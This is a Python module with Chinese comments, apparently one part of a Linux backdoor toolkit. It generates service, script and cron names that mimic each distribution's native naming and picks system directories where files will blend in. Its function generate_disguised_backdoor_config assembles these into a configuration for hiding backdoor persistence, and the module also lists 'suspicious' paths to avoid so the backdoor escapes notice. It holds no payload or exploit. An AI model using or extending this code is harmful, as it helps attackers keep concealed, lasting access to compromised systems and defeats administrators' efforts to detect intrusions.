#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
伪装名称生成器模块
根据Linux发行版生成符合系统原生命名习惯的伪装名称
"""

from __future__ import print_function
import random
import string
import hashlib

# Python 2.7 兼容性处理
try:
    from modules.utils.python_compatibility import format_string, ensure_str, ensure_bytes, dict_items, dict_keys
except ImportError:
    # 基本兼容性函数
    def format_string(template, *args, **kwargs):
        if args:
            return template.format(*args)
        return template.format(**kwargs)
    
    def ensure_str(s):
        if isinstance(s, bytes):
            return s.decode('utf-8')
        return str(s)
    
    def ensure_bytes(s):
        if isinstance(s, str):
            return s.encode('utf-8')
        return s
    
    def dict_items(d):
        return d.items()
    
    def dict_keys(d):
        return d.keys()

from core.distro_detection import detect_linux_distro, detect_ubuntu_version, detect_centos_stream_version as detect_centos_version, detect_debian_version


class DisguiseNameGenerator:
    """伪装名称生成器"""
    
    def __init__(self):
        self.name = "伪装名称生成器"
        self.description = "根据发行版生成符合系统原生命名习惯的伪装名称"
        
        # 各发行版的命名模式
        self.naming_patterns = {
            'debian_based': {
                'service_prefixes': ['system-', 'log-', 'update-', 'network-', 'security-', 'maintenance-'],
                'service_suffixes': ['daemon', 'service', 'monitor', 'manager', 'handler'],
                'script_prefixes': ['logrotate-', 'sysupdate-', 'apt-', 'dpkg-', 'systemd-'],
                'script_suffixes': ['check', 'clean', 'update', 'sync', 'monitor'],
                'cron_names': ['logrotate', 'apt-daily', 'dpkg-db-backup', 'update-notifier', 'man-db'],
                'paths': ['/usr/lib/systemd/', '/var/lib/dpkg/', '/usr/share/']
            },
            'centos_based': {
                'service_prefixes': ['yum-', 'rpm-', 'crond-', 'system-', 'network-', 'security-'],
                'service_suffixes': ['daemon', 'service', 'monitor', 'manager', 'handler'],
                'script_prefixes': ['yum-clean-', 'crond-monitor-', 'rpm-check-', 'systemd-'],
                'script_suffixes': ['check', 'clean', 'update', 'sync', 'monitor'],
                'cron_names': ['yum-cron', 'logrotate', 'mlocate', 'tmpwatch', 'raid-check'],
                'paths': ['/usr/lib/systemd/', '/var/lib/yum/', '/usr/share/']
            },
            'rhel_based': {
                'service_prefixes': ['yum-', 'rpm-', 'crond-', 'system-', 'network-', 'security-'],
                'service_suffixes': ['daemon', 'service', 'monitor', 'manager', 'handler'],
                'script_prefixes': ['yum-clean-', 'crond-monitor-', 'rpm-check-', 'systemd-'],
                'script_suffixes': ['check', 'clean', 'update', 'sync', 'monitor'],
                'cron_names': ['yum-cron', 'logrotate', 'mlocate', 'tmpwatch', 'raid-check'],
                'paths': ['/usr/lib/systemd/', '/var/lib/yum/', '/usr/share/']
            },
            'fedora_based': {
                'service_prefixes': ['dnf-', 'rpm-', 'systemd-', 'network-', 'security-'],
                'service_suffixes': ['daemon', 'service', 'monitor', 'manager', 'handler'],
                'script_prefixes': ['dnf-clean-', 'rpm-check-', 'systemd-', 'fedora-'],
                'script_suffixes': ['check', 'clean', 'update', 'sync', 'monitor'],
                'cron_names': ['dnf-makecache', 'logrotate', 'mlocate', 'tmpwatch'],
                'paths': ['/usr/lib/systemd/', '/var/lib/dnf/', '/usr/share/']
            },
            'suse_based': {
                'service_prefixes': ['zypper-', 'rpm-', 'systemd-', 'network-', 'security-'],
                'service_suffixes': ['daemon', 'service', 'monitor', 'manager', 'handler'],
                'script_prefixes': ['zypper-clean-', 'rpm-check-', 'systemd-', 'suse-'],
                'script_suffixes': ['check', 'clean', 'update', 'sync', 'monitor'],
                'cron_names': ['zypper-refresh', 'logrotate', 'mlocate', 'tmpwatch'],
                'paths': ['/usr/lib/systemd/', '/var/lib/zypp/', '/usr/share/']
            },
            'alpine_based': {
                'service_prefixes': ['apk-', 'busybox-', 'system-', 'network-'],
                'service_suffixes': ['daemon', 'service', 'monitor'],
                'script_prefixes': ['apk-', 'busybox-', 'alpine-'],
                'script_suffixes': ['check', 'clean', 'update', 'sync'],
                'cron_names': ['apk-update', 'logrotate', 'busybox-cron'],
                'paths': ['/usr/lib/', '/var/lib/apk/', '/usr/share/']
            }
        }
        
        # 通用后缀和标识符
        self.common_suffixes = ['01', '02', '03', 'a', 'b', 'c', 'x', 'y', 'z']
        
    def detect_current_distro(self):
        """检测当前发行版"""
        try:
            distro = detect_linux_distro()
            return distro if distro != 'unknown' else 'debian_based'  # 默认使用debian模式
        except:
            return 'debian_based'
    
    def generate_random_suffix(self, length=2):
        """生成随机后缀"""
        chars = string.ascii_lowercase + string.digits
        return ''.join(random.choice(chars) for _ in range(length))
    
    def generate_hash_suffix(self, base_string, length=4):
        """基于字符串生成哈希后缀"""
        hash_obj = hashlib.md5(base_string.encode())
        return hash_obj.hexdigest()[:length]
    
    def generate_service_name(self, distro=None):
        """生成系统服务名称"""
        if distro is None:
            distro = self.detect_current_distro()
        
        patterns = self.naming_patterns.get(distro, self.naming_patterns['debian_based'])
        
        prefix = random.choice(patterns['service_prefixes'])
        suffix = random.choice(patterns['service_suffixes'])
        random_part = self.generate_random_suffix()
        
        return format_string("{}{}.{}", prefix, random_part, suffix)
    
    def generate_script_name(self, distro=None):
        """生成脚本文件名称"""
        if distro is None:
            distro = self.detect_current_distro()
        
        patterns = self.naming_patterns.get(distro, self.naming_patterns['debian_based'])
        
        prefix = random.choice(patterns['script_prefixes'])
        suffix = random.choice(patterns['script_suffixes'])
        random_part = self.generate_random_suffix()
        
        return format_string("{}{}.sh", prefix, random_part)
    
    def generate_cron_task_name(self, distro=None):
        """生成Cron任务名称"""
        if distro is None:
            distro = self.detect_current_distro()
        
        patterns = self.naming_patterns.get(distro, self.naming_patterns['debian_based'])
        
        base_name = random.choice(patterns['cron_names'])
        random_part = self.generate_random_suffix()
        
        return format_string("{}-{}", base_name, random_part)
    
    def generate_system_path(self, distro=None):
        """生成系统路径"""
        if distro is None:
            distro = self.detect_current_distro()
        
        patterns = self.naming_patterns.get(distro, self.naming_patterns['debian_based'])
        
        return random.choice(patterns['paths'])
    
    def generate_disguised_names(self, count=1, distro=None):
        """生成一套完整的伪装名称"""
        if distro is None:
            distro = self.detect_current_distro()
        
        result = {
            'service_names': [],
            'script_names': [],
            'cron_names': [],
            'paths': [],
            'distro': distro
        }
        
        for _ in range(count):
            result['service_names'].append(self.generate_service_name(distro))
            result['script_names'].append(self.generate_script_name(distro))
            result['cron_names'].append(self.generate_cron_task_name(distro))
            result['paths'].append(self.generate_system_path(distro))
        
        return result
    
    def get_distro_specific_config(self, distro=None):
        """获取发行版特定配置"""
        if distro is None:
            distro = self.detect_current_distro()
        
        config = {
            'distro': distro,
            'package_manager': 'unknown',
            'service_manager': 'systemd',
            'log_paths': [],
            'config_paths': [],
            'temp_paths': []
        }
        
        if distro in ['debian_based']:
            config.update({
                'package_manager': 'apt',
                'log_paths': ['/var/log/apt/', '/var/log/dpkg.log'],
                'config_paths': ['/etc/apt/', '/etc/dpkg/'],
                'temp_paths': ['/var/cache/apt/', '/tmp/']
            })
        elif distro in ['centos_based', 'rhel_based']:
            config.update({
                'package_manager': 'yum',
                'log_paths': ['/var/log/yum.log', '/var/log/messages'],
                'config_paths': ['/etc/yum/', '/etc/yum.repos.d/'],
                'temp_paths': ['/var/cache/yum/', '/tmp/']
            })
        elif distro in ['fedora_based']:
            config.update({
                'package_manager': 'dnf',
                'log_paths': ['/var/log/dnf.log', '/var/log/messages'],
                'config_paths': ['/etc/dnf/', '/etc/yum.repos.d/'],
                'temp_paths': ['/var/cache/dnf/', '/tmp/']
            })
        elif distro in ['suse_based']:
            config.update({
                'package_manager': 'zypper',
                'log_paths': ['/var/log/zypper.log', '/var/log/messages'],
                'config_paths': ['/etc/zypp/'],
                'temp_paths': ['/var/cache/zypp/', '/tmp/']
            })
        elif distro in ['alpine_based']:
            config.update({
                'package_manager': 'apk',
                'service_manager': 'openrc',
                'log_paths': ['/var/log/messages'],
                'config_paths': ['/etc/apk/'],
                'temp_paths': ['/var/cache/apk/', '/tmp/']
            })
        
        return config


class PathOptimizer:
    """路径优化器 - 选择最佳的文件存放路径"""
    
    def __init__(self):
        self.name = "路径优化器"
        self.description = "根据发行版选择最佳的文件存放路径"
        
        # 各发行版的推荐路径
        self.recommended_paths = {
            'debian_based': {
                'scripts': [
                    '/usr/lib/systemd/system-generators/',
                    '/usr/share/dpkg/',
                    '/var/lib/dpkg/info/',
                    '/usr/lib/apt/methods/',
                    '/etc/cron.daily/'
                ],
                'services': [
                    '/usr/lib/systemd/system/',
                    '/etc/systemd/system/',
                    '/lib/systemd/system/'
                ],
                'configs': [
                    '/etc/systemd/system/',
                    '/etc/apt/apt.conf.d/',
                    '/etc/dpkg/dpkg.cfg.d/'
                ],
                'logs': [
                    '/var/log/',
                    '/var/log/apt/',
                    '/var/log/dpkg.log'
                ]
            },
            'centos_based': {
                'scripts': [
                    '/usr/lib/systemd/system-generators/',
                    '/var/lib/yum/',
                    '/usr/share/yum-plugins/',
                    '/etc/cron.daily/'
                ],
                'services': [
                    '/usr/lib/systemd/system/',
                    '/etc/systemd/system/',
                    '/lib/systemd/system/'
                ],
                'configs': [
                    '/etc/systemd/system/',
                    '/etc/yum/',
                    '/etc/yum.repos.d/'
                ],
                'logs': [
                    '/var/log/',
                    '/var/log/yum.log',
                    '/var/log/messages'
                ]
            },
            'rhel_based': {
                'scripts': [
                    '/usr/lib/systemd/system-generators/',
                    '/var/lib/yum/',
                    '/usr/share/yum-plugins/',
                    '/etc/cron.daily/'
                ],
                'services': [
                    '/usr/lib/systemd/system/',
                    '/etc/systemd/system/',
                    '/lib/systemd/system/'
                ],
                'configs': [
                    '/etc/systemd/system/',
                    '/etc/yum/',
                    '/etc/yum.repos.d/'
                ],
                'logs': [
                    '/var/log/',
                    '/var/log/yum.log',
                    '/var/log/messages'
                ]
            },
            'fedora_based': {
                'scripts': [
                    '/usr/lib/systemd/system-generators/',
                    '/var/lib/dnf/',
                    '/usr/share/dnf-plugins/',
                    '/etc/cron.daily/'
                ],
                'services': [
                    '/usr/lib/systemd/system/',
                    '/etc/systemd/system/',
                    '/lib/systemd/system/'
                ],
                'configs': [
                    '/etc/systemd/system/',
                    '/etc/dnf/',
                    '/etc/yum.repos.d/'
                ],
                'logs': [
                    '/var/log/',
                    '/var/log/dnf.log',
                    '/var/log/messages'
                ]
            }
        }
    
    def get_optimal_script_path(self, distro=None):
        """获取最佳脚本存放路径"""
        if distro is None:
            generator = DisguiseNameGenerator()
            distro = generator.detect_current_distro()
        
        paths = self.recommended_paths.get(distro, self.recommended_paths['debian_based'])
        return random.choice(paths['scripts'])
    
    def get_optimal_service_path(self, distro=None):
        """获取最佳服务文件存放路径"""
        if distro is None:
            generator = DisguiseNameGenerator()
            distro = generator.detect_current_distro()
        
        paths = self.recommended_paths.get(distro, self.recommended_paths['debian_based'])
        return random.choice(paths['services'])
    
    def get_optimal_config_path(self, distro=None):
        """获取最佳配置文件存放路径"""
        if distro is None:
            generator = DisguiseNameGenerator()
            distro = generator.detect_current_distro()
        
        paths = self.recommended_paths.get(distro, self.recommended_paths['debian_based'])
        return random.choice(paths['configs'])
    
    def avoid_suspicious_paths(self):
        """返回应该避免的可疑路径列表"""
        return [
            '/tmp/',
            '/var/tmp/',
            '/dev/shm/',
            '/home/',
            '/root/',
            '/opt/',
            '/usr/local/bin/',
            '/usr/bin/',
            '/bin/',
            '/sbin/'
        ]


# 全局实例
disguise_generator = DisguiseNameGenerator()
path_optimizer = PathOptimizer()


def generate_disguised_backdoor_config(backdoor_type='general'):
    """生成伪装后门配置"""
    distro = disguise_generator.detect_current_distro()
    names = disguise_generator.generate_disguised_names(1, distro)
    
    config = {
        'distro': distro,
        'service_name': names['service_names'][0],
        'script_name': names['script_names'][0],
        'cron_name': names['cron_names'][0],
        'script_path': path_optimizer.get_optimal_script_path(distro),
        'service_path': path_optimizer.get_optimal_service_path(distro),
        'config_path': path_optimizer.get_optimal_config_path(distro),
        'avoid_paths': path_optimizer.avoid_suspicious_paths()
    }
    
    return config


if __name__ == "__main__":
    # 测试代码
    generator = DisguiseNameGenerator()
    optimizer = PathOptimizer()
    
    print("=== 伪装名称生成器测试 ===")
    
    # 检测当前发行版
    distro = generator.detect_current_distro()
    print(format_string("检测到的发行版: {}", distro))
    
    # 生成伪装名称
    names = generator.generate_disguised_names(3, distro)
    print("\n生成的伪装名称:")
    print(format_string("服务名称: {}", names['service_names']))
    print(format_string("脚本名称: {}", names['script_names']))
    print(format_string("Cron任务名称: {}", names['cron_names']))
    print(format_string("推荐路径: {}", names['paths']))
    
    # 生成完整配置
    config = generate_disguised_backdoor_config()
    print("\n完整后门配置:")
    for key, value in dict_items(config):
        print(format_string("{}: {}", key, value))